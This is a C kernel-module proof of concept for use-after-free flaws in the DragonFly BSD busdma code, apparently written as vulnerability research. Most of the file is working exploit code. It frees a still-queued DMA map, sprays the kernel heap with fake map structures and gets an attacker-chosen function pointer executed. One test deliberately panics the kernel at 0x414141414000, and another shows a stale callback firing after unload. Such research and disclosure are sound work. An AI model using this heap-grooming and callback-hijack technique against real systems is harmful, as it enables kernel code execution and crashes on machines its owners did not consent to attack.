/*
 * busdmauaf.c — DF pass-2 PoC for sys/platform/pc64/x86_64/busdma_machdep.c
 *
 * Test 1 (POC_TEST=1): bus_dmamap_destroy() frees a map still linked on the
 *   bounce-zone waiting list (EINPROGRESS path).  The freed 64-byte chunk is
 *   groomed; get_map_waiting()/busdma_swi() then operate on freed memory and
 *   bus_dmamap_load() calls map->callback read from the freed, attacker-
 *   repopulated chunk.  Callback = hijack_proof(): attacker-chosen kernel
 *   function executed -- controlled proof, no panic.
 * Test 2 (POC_TEST=2): bus_dmamap_unload() of a queued (EINPROGRESS) map is
 *   a silent no-op -- the map stays on the waiting list, keeps its bounce
 *   page reservation, and the deferred load+callback later fires for a map
 *   the driver has already unloaded (stale buf/buflen/callback).
 * Test 3 (POC_TEST=3): like test 1 but callback = 0x414141414000 -> kernel
 *   page fault at the attacker-chosen RIP (panic proof).
 *
 * NOTE: tests run at MOD_LOAD (kldload thread context).  They must NOT run
 * inside a sysctl handler: alloc_bounce_zone() calls SYSCTL_ADD_NODE, which
 * deadlocks against the sysctl lock held by a sysctl write.
 *
 * Build:  make -m /usr/share/mk SYSDIR=/usr/src/sys MAKEOBJDIRPREFIX=/root/obj \
 *         POCTEST=<1|2|3>
 * Run:    kldload ./busdmauaf.ko
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/bus_dma.h>
#include <machine/md_var.h>	/* busdma_swi() */

#ifndef POC_TEST
#define POC_TEST	1
#endif

/*
 * Replica of the private 'struct bus_dmamap' from
 * sys/platform/pc64/x86_64/busdma_machdep.c:140-150 (not in any header).
 * NOTE: DF STAILQ_HEAD carries stqh_first AND stqh_last (16 bytes), so
 * the struct is 72 bytes.  Offsets verified against the running kernel's
 * disassembly of get_map_waiting.isra (map->dmat @0x18, pagesneeded @0x10,
 * dmat->bounce_zone @0x48, bz->free_bpages @0x34).
 */
struct fake_bus_dmamap {
	struct {			/* bpages STAILQ_HEAD, 16 bytes */
		struct dummy_bp *stqh_first;	/* 0x00 */
		struct dummy_bp **stqh_last;	/* 0x08 */
	} bpages;
	int		 pagesneeded;			/* 0x10 */
	int		 pagesreserved;			/* 0x14 */
	bus_dma_tag_t	 dmat;				/* 0x18 */
	void		*buf;				/* 0x20 */
	bus_size_t	 buflen;			/* 0x28 */
	void		*callback;			/* 0x30 */
	void		*callback_arg;			/* 0x38 */
	struct { void *stqe_next; } links;		/* 0x40 */
};
CTASSERT(sizeof(struct fake_bus_dmamap) == 72);

#if POC_TEST == 1 || POC_TEST == 3
static int hijacked;
static void *hijack_arg_seen;
#endif
#if POC_TEST == 2
static int phantom_fired;
#endif

#if POC_TEST == 1 || POC_TEST == 3
static void
hijack_proof(void *arg, bus_dma_segment_t *segs, int nsegs, int error)
{
	hijacked++;
	hijack_arg_seen = arg;
	kprintf("BUSDMA-UAF: *** HIJACK PROVEN *** attacker-chosen function "
	    "%p executed, arg=%p nsegs=%d error=%d\n",
	    hijack_proof, arg, nsegs, error);
}
#endif

#if POC_TEST == 2
static void
phantom_cb(void *arg, bus_dma_segment_t *segs, int nsegs, int error)
{
	phantom_fired++;
	kprintf("BUSDMA-PHANTOM: *** DEFERRED CALLBACK FIRED FOR UNLOADED "
	    "MAP *** buf=%p nsegs=%d error=%d (driver already called "
	    "bus_dmamap_unload!)\n", arg, nsegs, error);
}
#endif

#if POC_TEST != 3
static void
quiet_cb(void *arg, bus_dma_segment_t *segs, int nsegs, int error)
{
	kprintf("BUSDMA-UAF:   quiet_cb(arg=%p nsegs=%d err=%d)\n",
	    arg, nsegs, error);
}
#else
#define quiet_cb hijack_proof	/* t3: quiet path also lands in proof fn */
#endif

#if POC_TEST == 1 || POC_TEST == 3
static void
demo_destroy_uaf(int evil)
{
	bus_dma_tag_t tag;
	bus_dmamap_t mapA, mapB;
	void *buf_ok, *bufA, *bufB;
	int error, i, reclaimed = 0;
	struct fake_bus_dmamap *fm;

	kprintf("BUSDMA-UAF: === TEST %s ===\n",
	    evil ? "3 (panic: evil callback ptr 0x414141414000)"
		 : "1 (hijack proof)");

	/*
	 * Private bounce zone, 1 page at tag-create; lowaddr=16MB makes
	 * every kernel page need bouncing.
	 */
	error = bus_dma_tag_create(NULL,
	    1,				/* alignment */
	    0,				/* boundary */
	    0xFFFFFFul,			/* lowaddr  */
	    BUS_SPACE_MAXADDR,		/* highaddr */
	    PAGE_SIZE,			/* maxsize  */
	    4,				/* nsegments */
	    PAGE_SIZE,			/* maxsegsz */
	    BUS_DMA_ALLOCNOW | BUS_DMA_PRIVBZONE,
	    &tag);
	if (error) {
		kprintf("BUSDMA-UAF: tag_create failed %d\n", error);
		return;
	}
	kprintf("BUSDMA-UAF: tag=%p (private zone, 1 bpage)\n", tag);

	buf_ok = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO);
	bufA = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO);
	bufB = kmalloc(2 * PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO);

	error = bus_dmamap_create(tag, 0, &mapA);	/* 1st map: no growth */
	if (error) { kprintf("mapA create err %d\n", error); return; }
	error = bus_dmamap_create(tag, 0, &mapB);	/* 2nd map: zone -> 2 */
	if (error) { kprintf("mapB create err %d\n", error); return; }
	kprintf("BUSDMA-UAF: mapA=%p mapB=%p (zone now 2 bpages)\n",
	    mapA, mapB);

	/*
	 * mapB: 2-page buffer needs both bounce pages -> loads fully;
	 * both pages become ACTIVE, free pool empty.
	 */
	error = bus_dmamap_load(tag, mapB, bufB, 2 * PAGE_SIZE,
	    quiet_cb, (void *)0xb0000001ul, 0);
	kprintf("BUSDMA-UAF: mapB load -> %d (both bpages active)\n", error);
	if (error) { kprintf("mapB load err %d\n", error); return; }

	/*
	 * mapA: 1 page needed, 0 free -> queued on
	 * bz->bounce_map_waitinglist, load returns EINPROGRESS.
	 */
	error = bus_dmamap_load(tag, mapA, bufA, PAGE_SIZE,
	    quiet_cb, (void *)0xb0000002ul, 0);
	kprintf("BUSDMA-UAF: mapA load -> %d (EINPROGRESS=%d; mapA queued)\n",
	    error, EINPROGRESS);
	if (error != EINPROGRESS) {
		kprintf("BUSDMA-UAF: no EINPROGRESS -- abort\n");
		return;
	}

	/*
	 * --- The vulnerable step -------------------------------------------
	 * Conventional driver error cleanup destroys the map.  The ONLY
	 * guard in bus_dmamap_destroy() is STAILQ_FIRST(&map->bpages),
	 * which is EMPTY for a queued map: freed while still linked.
	 * ------------------------------------------------------------------ */
	error = bus_dmamap_destroy(tag, mapA);
	kprintf("BUSDMA-UAF: bus_dmamap_destroy(queued mapA) -> %d  "
	    "(0 == FREED WHILE STILL LINKED ON WAITING LIST)\n", error);
	if (error) { kprintf("destroy unexpected err %d\n", error); return; }

	/*
	 * Groom/spray: reclaim the 64-byte M_DEVBUF chunk and populate it
	 * as an attacker would.  Spray 1024 chunks so the freed bus_dmamap
	 * is likely covered regardless of per-CPU magazine placement.
	 */
	for (i = 0; i < 1024; i++) {
		fm = kmalloc(sizeof(*fm), M_DEVBUF, M_INTWAIT | M_ZERO);
		if (fm == NULL)
			break;
		if ((void *)fm == (void *)mapA) {
			kprintf("BUSDMA-UAF: spray chunk %d == freed mapA "
			    "(reclaimed!)\n", i);
			reclaimed = 1;
		}
		/* allocated chunk: whole struct is fair game */
		fm->bpages.stqh_first = NULL;
		fm->bpages.stqh_last = &fm->bpages.stqh_first;
		fm->pagesneeded = 1;
		fm->pagesreserved = 0;
		fm->dmat = tag;
		fm->buf = buf_ok;
		fm->buflen = PAGE_SIZE;
		fm->callback = evil ? (void *)0x414141414000ul
				    : (void *)hijack_proof;
		fm->callback_arg = (void *)0xbaadf00dul;
		fm->links.stqe_next = NULL;
	}
	kprintf("BUSDMA-UAF: sprayed %d fake-map chunks (72B, callback=%p)\n",
	    i, evil ? (void *)0x414141414000ul : (void *)hijack_proof);

	/*
	 * Deterministic fallback: write the fake map through the DANGLING
	 * reference (== what a successful spray achieves).  Fields at
	 * offsets 8..63 only; offset 0 belongs to the allocator's free
	 * chunk linkage and is left alone unless the chunk was reclaimed
	 * (the deferred load itself will write offsets 0/8 via
	 * STAILQ_INSERT_TAIL(&map->bpages, ...) -- on a still-free chunk
	 * that corrupts slab metadata, demonstrated by the earlier
	 * chunk_mark_allocated panic).
	 */
	if (!reclaimed) {
		kprintf("BUSDMA-UAF: spray missed; skipping dangling write "
		    "(stale-callback UAF will fire instead)\n");
		goto trigger;
	}
	fm = (struct fake_bus_dmamap *)mapA;
	fm->bpages.stqh_first = NULL;
	fm->bpages.stqh_last = &fm->bpages.stqh_first;
	fm->pagesneeded = 1;
	fm->pagesreserved = 0;
	fm->dmat = tag;
	fm->buf = buf_ok;
	fm->buflen = PAGE_SIZE;
	fm->callback = evil ? (void *)0x414141414000ul : (void *)hijack_proof;
	fm->callback_arg = (void *)0xbaadf00dul;
	fm->links.stqe_next = NULL;
	kprintf("BUSDMA-UAF: fake map written via dangling ref %p "
	    "(reclaimed chunk)\n", fm);
trigger:/**/

	/*
	 * Free the bounce pages: _bus_dmamap_unload -> free_bounce_page ->
	 * get_map_waiting -> reserve_bounce_pages WRITES the freed chunk,
	 * dequeues it, add_map_callback links the freed chunk into the
	 * global callback list, setsoftvm() schedules the swi.
	 */
	kprintf("BUSDMA-UAF: bus_dmamap_unload(mapB) frees bpages, waking "
	    "the FREED map ...\n");
	bus_dmamap_unload(tag, mapB);

	if (!evil) {
		for (i = 0; i < 8 && !hijacked; i++) {
			busdma_swi();
			if (!hijacked)
				tsleep(&hijacked, 0, "uafw", hz / 4);
		}
		if (hijacked)
			kprintf("BUSDMA-UAF: RESULT=HIJACKED: kernel called "
			    "the function pointer %p read from FREED memory "
			    "(arg=%p)\n", fm->callback, hijack_arg_seen);
		else
			kprintf("BUSDMA-UAF: RESULT=FAILED (no callback)\n");
	} else {
		kprintf("BUSDMA-UAF: draining callback list -> kernel will "
		    "call *0x414141414000 ... panic expected\n");
		busdma_swi();
		kprintf("BUSDMA-UAF: ERROR: no panic?!\n");
	}
}
#endif

#if POC_TEST == 2
static void
demo_phantom(void)
{
	bus_dma_tag_t tag;
	bus_dmamap_t mapX, mapY;
	void *buf1, *buf2;
	int error, i;

	kprintf("BUSDMA-PHANTOM: === TEST 2 (unload does not dequeue) ===\n");

	error = bus_dma_tag_create(NULL, 1, 0, 0xFFFFFFul, BUS_SPACE_MAXADDR,
	    PAGE_SIZE, 4, PAGE_SIZE,
	    BUS_DMA_ALLOCNOW | BUS_DMA_PRIVBZONE, &tag);
	if (error) { kprintf("tag err %d\n", error); return; }

	buf1 = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO);
	buf2 = kmalloc(2 * PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO);

	error = bus_dmamap_create(tag, 0, &mapX);
	if (error) { kprintf("mapX create err %d\n", error); return; }
	error = bus_dmamap_create(tag, 0, &mapY);	/* zone -> 2 pages */
	if (error) { kprintf("mapY create err %d\n", error); return; }

	error = bus_dmamap_load(tag, mapX, buf1, PAGE_SIZE,
	    quiet_cb, (void *)0xd0000001ul, 0);
	kprintf("BUSDMA-PHANTOM: mapX load -> %d (1 bpage active, 1 free)\n",
	    error);
	if (error) { kprintf("mapX load err %d\n", error); return; }

	error = bus_dmamap_load(tag, mapY, buf2, 2 * PAGE_SIZE,
	    phantom_cb, (void *)0xd0000002ul, 0);
	kprintf("BUSDMA-PHANTOM: mapY load -> %d (EINPROGRESS; mapY queued, "
	    "holds partial reservation of 1 bpage)\n", error);
	if (error != EINPROGRESS) {
		kprintf("BUSDMA-PHANTOM: no EINPROGRESS -- abort\n");
		return;
	}

	/*
	 * Driver aborts the transaction: bus_dmamap_unload() is a silent
	 * NO-OP for a queued map (empty bpage list): mapY stays queued with
	 * stale buf/buflen/callback and keeps its reservation.  In a real
	 * driver the buffer would now be reused or freed.
	 */
	bus_dmamap_unload(tag, mapY);
	kprintf("BUSDMA-PHANTOM: bus_dmamap_unload(mapY) returned -- map is "
	    "STILL on the waiting list (no dequeue, no counter reset)\n");

	/*
	 * Any bounce-page release anywhere in the system now completes the
	 * reservation and dequeues the UNLOADED map.
	 */
	kprintf("BUSDMA-PHANTOM: bus_dmamap_unload(mapX) frees a bpage -> "
	    "wakes the UNLOADED mapY ...\n");
	bus_dmamap_unload(tag, mapX);

	phantom_fired = 0;
	for (i = 0; i < 8 && !phantom_fired; i++) {
		busdma_swi();
		if (!phantom_fired)
			tsleep(&phantom_fired, 0, "phw", hz / 4);
	}
	if (phantom_fired)
		kprintf("BUSDMA-PHANTOM: RESULT=PHANTOM CONFIRMED: deferred "
		    "bus_dmamap_load ran on the UNLOADED map and invoked its "
		    "callback with stale buffer state\n");
	else
		kprintf("BUSDMA-PHANTOM: RESULT=FAILED\n");

	/* cleanup: the phantom load left active bpages on mapY */
	bus_dmamap_unload(tag, mapY);
	bus_dmamap_destroy(tag, mapY);
	bus_dmamap_destroy(tag, mapX);
	bus_dma_tag_destroy(tag);
	kfree(buf1, M_DEVBUF);
	kfree(buf2, M_DEVBUF);
	kprintf("BUSDMA-PHANTOM: cleanup done\n");
}
#endif

static int
busdmauaf_handler(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		kprintf("busdmauaf: POC_TEST=%d loaded\n", POC_TEST);
#if POC_TEST == 1
		demo_destroy_uaf(0);
#elif POC_TEST == 2
		demo_phantom();
#elif POC_TEST == 3
		demo_destroy_uaf(1);
#endif
		kprintf("busdmauaf: test body finished\n");
		return (0);
	case MOD_UNLOAD:
		kprintf("busdmauaf: unloaded\n");
		return (0);
	default:
		return (0);
	}
}

static moduledata_t busdmauaf_mod = { "busdmauaf", busdmauaf_handler, NULL };
DECLARE_MODULE(busdmauaf, busdmauaf_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);